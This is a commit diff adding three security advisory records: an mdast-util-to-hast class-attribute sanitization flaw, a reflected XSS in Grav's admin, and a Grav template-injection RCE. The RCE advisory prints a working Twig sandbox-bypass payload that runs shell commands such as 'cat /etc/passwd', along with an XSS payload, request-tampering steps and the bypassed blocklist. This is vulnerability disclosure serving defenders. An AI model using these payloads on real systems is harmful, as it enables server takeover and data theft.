Skip to content

Commit 91fd364

Browse files

File tree

5 files changed

+331
-0
lines changed

5 files changed

+331
-0
lines changed
Lines changed: 70 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,70 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-4fh9-h7wg-q85m",
4+
"modified": "2025-12-02T01:25:46Z",
5+
"published": "2025-12-02T01:25:46Z",
6+
"aliases": [
7+
"CVE-2025-66400"
8+
],
9+
"summary": "mdast-util-to-hast has unsanitized class attribute",
10+
"details": "### Impact\n\nMultiple (unprefixed) classnames could be added in markdown source by using character references.\nThis could make rendered user supplied markdown `code` elements appear like the rest of the page.\nThe following markdown:\n\n````markdown\n```js&#x20;xss\n```\n````\n\nWould create `<pre><code class=\"language-js xss\"></code></pre>`\nIf your page then applied `.xss` classes (or listeners in JS), those apply to this element.\nFor more info see <https://github.com/ChALkeR/notes/blob/master/Improper-markup-sanitization.md#unsanitized-class-attribute>\n\n### Patches\n\nThe bug was patched. When using regular semver, run `npm install`. For exact ranges, make sure to use `13.2.1`.\n\n### Workarounds\n\nUpdate.\n\n### References\n\n* bug introduced in https://github.com/syntax-tree/mdast-util-to-hast/commit/6fc783ae6abdeb798fd5a68e7f3f21411dde7403\n* bug fixed in https://github.com/syntax-tree/mdast-util-to-hast/commit/ab3a79570a1afbfa7efef5d4a0cd9b5caafbc5d7",
11+
"severity": [
12+
{
13+
"type": "CVSS_V4",
14+
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "npm",
21+
"name": "mdast-util-to-hast"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "13.0.0"
29+
},
30+
{
31+
"fixed": "13.2.1"
32+
}
33+
]
34+
}
35+
]
36+
}
37+
],
38+
"references": [
39+
{
40+
"type": "WEB",
41+
"url": "https://github.com/syntax-tree/mdast-util-to-hast/security/advisories/GHSA-4fh9-h7wg-q85m"
42+
},
43+
{
44+
"type": "ADVISORY",
45+
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-66400"
46+
},
47+
{
48+
"type": "WEB",
49+
"url": "https://github.com/syntax-tree/mdast-util-to-hast/commit/6fc783ae6abdeb798fd5a68e7f3f21411dde7403"
50+
},
51+
{
52+
"type": "WEB",
53+
"url": "https://github.com/syntax-tree/mdast-util-to-hast/commit/ab3a79570a1afbfa7efef5d4a0cd9b5caafbc5d7"
54+
},
55+
{
56+
"type": "PACKAGE",
57+
"url": "https://github.com/syntax-tree/mdast-util-to-hast"
58+
}
59+
],
60+
"database_specific": {
61+
"cwe_ids": [
62+
"CWE-20",
63+
"CWE-915"
64+
],
65+
"severity": "MODERATE",
66+
"github_reviewed": true,
67+
"github_reviewed_at": "2025-12-02T01:25:46Z",
68+
"nvd_published_at": "2025-12-01T23:15:53Z"
69+
}
70+
}
Lines changed: 65 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,65 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-65mj-f7p4-wggq",
4+
"modified": "2025-12-02T01:24:45Z",
5+
"published": "2025-12-02T01:24:45Z",
6+
"aliases": [
7+
"CVE-2025-66309"
8+
],
9+
"summary": "Grav is vulnerable to Cross-Site Scripting (XSS) Reflected endpoint /admin/pages/[page], parameter data[header][content][items], located in the \"Blog Config\" tab",
10+
"details": "## Summary\n\nA Reflected Cross-Site Scripting (XSS) vulnerability was identified in the `/admin/pages/[page]` endpoint of the _Grav_ application. This vulnerability allows attackers to inject malicious scripts into the `data[header][content][items]` parameter.\n\n---\n\n## Details\n\n**Vulnerable Endpoint:** `GET /admin/pages/[page]` \n**Parameter:** `data[header][content][items]`\n\nThe application fails to properly validate and sanitize user input in the `data[header][content][items]` parameter. As a result, attackers can craft a malicious URL with an XSS payload. When this URL is accessed, the injected script is reflected back in the HTTP response and executed within the context of the victim's browser session.\n\n---\n\n## PoC\n\n**Payload:**\n\n`\"><ImG sRc=x OnErRoR=alert('XSS-PoC3')>`\n\n1. Log in to the _Grav_ Admin Panel and navigate to **Pages**.\n \n2. Create a new page or edit an existing one.\n \n3. In the **Advanced > Blog Config > Items** field (which maps to `data[header][content][items]`), insert the payload above.\n\n![image](https://github.com/user-attachments/assets/ae77d92a-2e09-4b67-b3ae-5e317b9d518f)\n\n4. Save the page.\n \n5. The malicious payload is reflected and rendered by the application without proper sanitization. The JavaScript code is immediately executed in the browser.\n\n![image](https://github.com/user-attachments/assets/328b0714-750a-421d-ad5e-ea7f148dca8f)\n\n---\n\n## Impact\n\nReflected cross-site scripting (XSS) attacks can have serious consequences, including:\n\n- **User actions:** Attackers can perform actions on behalf of the user\n \n- **Data theft:** Sensitive information such as session cookies can be stolen\n \n- **Account compromise:** Attackers may impersonate legitimate users\n \n- **Malicious code execution:** Arbitrary JavaScript code can run in the user’s browser\n \n- **Website defacement or misinformation:** Malicious output may be injected visually\n \n- **User redirection:** Victims may be redirected to phishing or malicious websites\n\nby [CVE-Hunters](https://github.com/Sec-Dojo-Cyber-House/cve-hunters)",
11+
"severity": [
12+
{
13+
"type": "CVSS_V4",
14+
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:A/VC:L/VI:L/VA:N/SC:H/SI:H/SA:H"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "Packagist",
21+
"name": "getgrav/grav"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "0"
29+
},
30+
{
31+
"fixed": "1.8.0-beta.27"
32+
}
33+
]
34+
}
35+
]
36+
}
37+
],
38+
"references": [
39+
{
40+
"type": "WEB",
41+
"url": "https://github.com/getgrav/grav/security/advisories/GHSA-65mj-f7p4-wggq"
42+
},
43+
{
44+
"type": "ADVISORY",
45+
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-66309"
46+
},
47+
{
48+
"type": "WEB",
49+
"url": "https://github.com/getgrav/grav-plugin-admin/commit/99f653296504f1d6408510dd2f6f20a45a26f9b0"
50+
},
51+
{
52+
"type": "PACKAGE",
53+
"url": "https://github.com/getgrav/grav"
54+
}
55+
],
56+
"database_specific": {
57+
"cwe_ids": [
58+
"CWE-79"
59+
],
60+
"severity": "MODERATE",
61+
"github_reviewed": true,
62+
"github_reviewed_at": "2025-12-02T01:24:45Z",
63+
"nvd_published_at": "2025-12-01T22:15:50Z"
64+
}
65+
}
Lines changed: 66 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,66 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-662m-56v4-3r8f",
4+
"modified": "2025-12-02T01:25:16Z",
5+
"published": "2025-12-02T01:25:16Z",
6+
"aliases": [
7+
"CVE-2025-66294"
8+
],
9+
"summary": "Grav is vulnerable to RCE via SSTI through Twig Sandbox Bypass",
10+
"details": "### Summary\nA Server-Side Template Injection (SSTI) vulnerability exists in Grav that allows authenticated attackers with editor permissions to execute arbitrary commands on the server and, under certain conditions, may also be exploited by unauthenticated attackers. This vulnerability stems from weak regex validation in the `cleanDangerousTwig` method.\n\n### Important\n- First of all this vulnerability is due to weak sanitization in the method `clearDangerousTwig`, so any other class that calls it indirectly through for example `$twig->processString` to sanitize code is also vulnerable.\n\n- For this report, we will need the official Form and Admin plugin installed, also I will be chaining this with another vulnerability to allow an editor which is a user with only pages permissions to edit the process section of a form.\n\n- I made another report for the other vulnerability which is a Broken Access Control which allows a user with full permission for pages to change the process section by intercepting the request and modifying it.\n\n### Permissions Needed\n- The main case for this vulnerability is an editor which can unconditionally takeover the whole system through creating a vulnerable form.\n- Second case is as an unauthenticated user, so if the form exists already and accepts user input and puts it through `evaluate_twig`, a guest can takeover the system.\n\n### Details\nWhen we make a form with a process section and a `message` action, when the form is submitted we get to deal with `onFormProcess` in `form.php` through the `message` case:\n\n```php\n case 'message':\n $translated_string = $this->grav['language']->translate($params);\n $vars = array(\n 'form' => $form\n );\n\n /** @var Twig $twig */\n $twig = $this->grav['twig'];\n $processed_string = $twig->processString($translated_string, $vars);\n\n $form->message = $processed_string;\n break;\n```\n\nWhich takes our parameters as in our action values, like in our case the value of our `message` action and sends it to `processString` which then calls the method `cleanDangerousTwig` from `Security.php`, now here's where we find the vulnerability is caused by two things:\n\n- First of all is weak regex which doesn't account for nested function calls, which allows us to bypass this function's sanitization\n- Second issue which is the `evaluate` and `evaluate_twig` functions which are allowed, and since we can call Twig syntax from inside them, it will lead to nested function calls which we can bypass and thus execute arbitrary payloads.\n\n```php\n public static function cleanDangerousTwig(string $string): string\n {\n if ($string === '') {\n return $string;\n }\n\n $bad_twig = [\n 'twig_array_map',\n 'twig_array_filter',\n 'call_user_func',\n 'registerUndefinedFunctionCallback',\n 'undefined_functions',\n 'twig.getFunction',\n 'core.setEscaper',\n 'twig.safe_functions',\n 'read_file',\n ];\n \n // This allows for a payload like {{ evaluate(\"read_file('/etc/passwd')\") }}\n $string = preg_replace('/(({{\\s*|{%\\s*)[^}]*?(' . implode('|', $bad_twig) . ')[^}]*?(\\s*}}|\\s*%}))/i', '{# $1 #}', $string);\n return $string;\n }\n```\n\n### PoC\n\nFirst to showcase how the function handles the payload, I built a small php program that replicates the behavior of `cleanDangerousTwig`:\n\n```php\n<?php\n\nfunction cleanDangerousTwig(string $string): string\n{\n if ($string === '') {\n return $string;\n }\n\n $bad_twig = [\n 'twig_array_map',\n 'twig_array_filter',\n 'call_user_func',\n 'registerUndefinedFunctionCallback',\n 'undefined_functions',\n 'twig.getFunction',\n 'core.setEscaper',\n 'twig.safe_functions',\n 'read_file',\n ];\n $string = preg_replace('/(({{\\s*|{%\\s*)[^}]*?(' . implode('|', $bad_twig) . ')[^}]*?(\\s*}}|\\s*%}))/i', '{# $1 #}', $string);\n\n return $string;\n}\n\n$x = $argv[1];\necho cleanDangerousTwig(\"evaluate_twig('$x')\");\n```\n\nWe can run the program with this payload:\n\n```bash\nphp ok.php \"{{ grav.twig.twig.registerUndefinedFunctionCallback('system') }} {% set a = grav.config.set('system.twig.undefined_functions',false) %} {{ grav.twig.twig.getFunction('cat /etc/passwd') }}\"\n```\n\nOur payload goes through and not one malicious function is filtered:\n\n```\nevaluate_twig('{# {{ grav.twig.twig.registerUndefinedFunctionCallback('system') }} #} {# {% set a = grav.config.set('system.twig.undefined_functions',false) %} #} {# {{ grav.twig.twig.getFunction('cat /etc/passwd') }} #}')\n```\n\nNow we know that our payload definitely works so let's try it through a custom form this time, as an editor:\n\n- Go to pages\n- Add a page and create a new form or choose an exiting one\n\nWe will be using another vulnerability I found which is a Broken Access Control vulnerability, which allows an editor with basically only pages rights to modify a form's action sections without being in expert mode ( please refer to [it's report](https://github.com/getgrav/grav/security/advisories/GHSA-v8x2-fjv7-8hjh) ), so when we go to our form and save it, we can intercept the request and inject the following payload into `data[_json][header][form]` which is the header for our form which we shouldn't normally be able to modify:\n\n```\n{\"name\":\"ssti-test 2\",\"fields\":{\"name\":{\"type\":\"text\",\"label\":\"Name\",\"required\":true}},\"buttons\":{\"submit\":{\"type\":\"submit\",\"value\":\"Submit\"}},\"process\":[]}\n```\n\nURL-encode it before sending it should look something like this:\n\n![image](https://github.com/user-attachments/assets/c3345f1f-c613-4534-a15c-bd1cf7e4b2f5)\n\n![image](https://github.com/user-attachments/assets/e9685357-b85d-432a-842b-27a28487b7d1)\n\nRequest sent and processed! Now when you go to our form file you can see added a process section with the value of message changed:\n\n![image](https://github.com/user-attachments/assets/c87bdc3b-712c-465f-bd0d-9951ca826a6a)\n\nContent of form:\n\n```\ntitle: Home\nprocess:\n markdown: true\n twig: true\nform:\n name: test\n fields:\n name:\n type: text\n label: Name\n required: true\n buttons:\n submit:\n type: submit\n value: submit\n process:\n -\n message: '{{ evaluate_twig(form.value(''name'')) }}'\n```\n\nNow in the process section, notice our message action is gonna take value from the Name input, using the following payload we will execute the command `id` on the system:\n\n```\n{{ grav.twig.twig.registerUndefinedFunctionCallback('system') }} {% set a = grav.config.set('system.twig.undefined_functions',false) %} {{ grav.twig.twig.getFunction('id') }}\n```\n\nNow we can visit the page and input our payload, submit and we got command result:\n\n![image](https://github.com/user-attachments/assets/46571c3c-53ad-4028-b607-8c8f1c26b0c2)\n\n\n### Impact\n\nAllows an attacker to execute arbitrary commands, leading to full system compromise, including unauthorized access, data theft, privilege escalation, and disruption of services.\n\n### Recommended Fix\n\n- Blacklist both the `evaluate` and `evaluate_twig` functions.\n- We could add second check to `cleanDangerousTwig` where we would look for each malicious function no matter it's position:\n\n```php\n<?php\n\nfunction cleanDangerousTwig(string $string): string\n{\n if ($string === '') {\n return $string;\n }\n\n $bad_twig = [\n 'twig_array_map',\n 'twig_array_filter',\n 'call_user_func',\n 'registerUndefinedFunctionCallback',\n 'undefined_functions',\n 'twig.getFunction',\n 'core.setEscaper',\n 'twig.safe_functions',\n 'read_file',\n ];\n $string = preg_replace('/(({{\\s*|{%\\s*)[^}]*?(' . implode('|', $bad_twig) . ')[^}]*?(\\s*}}|\\s*%}))/i', '{# $1 #}', $string);\n\n foreach ($bad_twig as $func) {\n $string = preg_replace('/\\b' . preg_quote($func, '/') . '(\\s*\\([^)]*\\))?\\b/i', '{# $1 #}', $string);\n }\n\n return $string;\n}\n\n$x = $argv[1];\necho cleanDangerousTwig(\"evaluate_twig('$x')\");\n```\n\nWhen we run this, the result is:\n```\nevaluate_twig('{# {{ grav.twig.twig.{# #}('system') }} #} {# {% set a = grav.config.set('system.twig.{# #}',false) %} #} {# {{ grav.twig.{# #}('cat /etc/passwd') }} #}')\n```\nYou can see we managed to stop the payload and filter out the malicious functions.",
11+
"severity": [
12+
{
13+
"type": "CVSS_V4",
14+
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "Packagist",
21+
"name": "getgrav/grav"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "0"
29+
},
30+
{
31+
"fixed": "1.8.0-beta.27"
32+
}
33+
]
34+
}
35+
]
36+
}
37+
],
38+
"references": [
39+
{
40+
"type": "WEB",
41+
"url": "https://github.com/getgrav/grav/security/advisories/GHSA-662m-56v4-3r8f"
42+
},
43+
{
44+
"type": "ADVISORY",
45+
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-66294"
46+
},
47+
{
48+
"type": "WEB",
49+
"url": "https://github.com/getgrav/grav/commit/e37259527d9c1deb6200f8967197a9fa587c6458"
50+
},
51+
{
52+
"type": "PACKAGE",
53+
"url": "https://github.com/getgrav/grav"
54+
}
55+
],
56+
"database_specific": {
57+
"cwe_ids": [
58+
"CWE-1336",
59+
"CWE-94"
60+
],
61+
"severity": "HIGH",
62+
"github_reviewed": true,
63+
"github_reviewed_at": "2025-12-02T01:25:16Z",
64+
"nvd_published_at": "2025-12-01T21:15:52Z"
65+
}
66+
}

0 commit comments

Comments
 (0)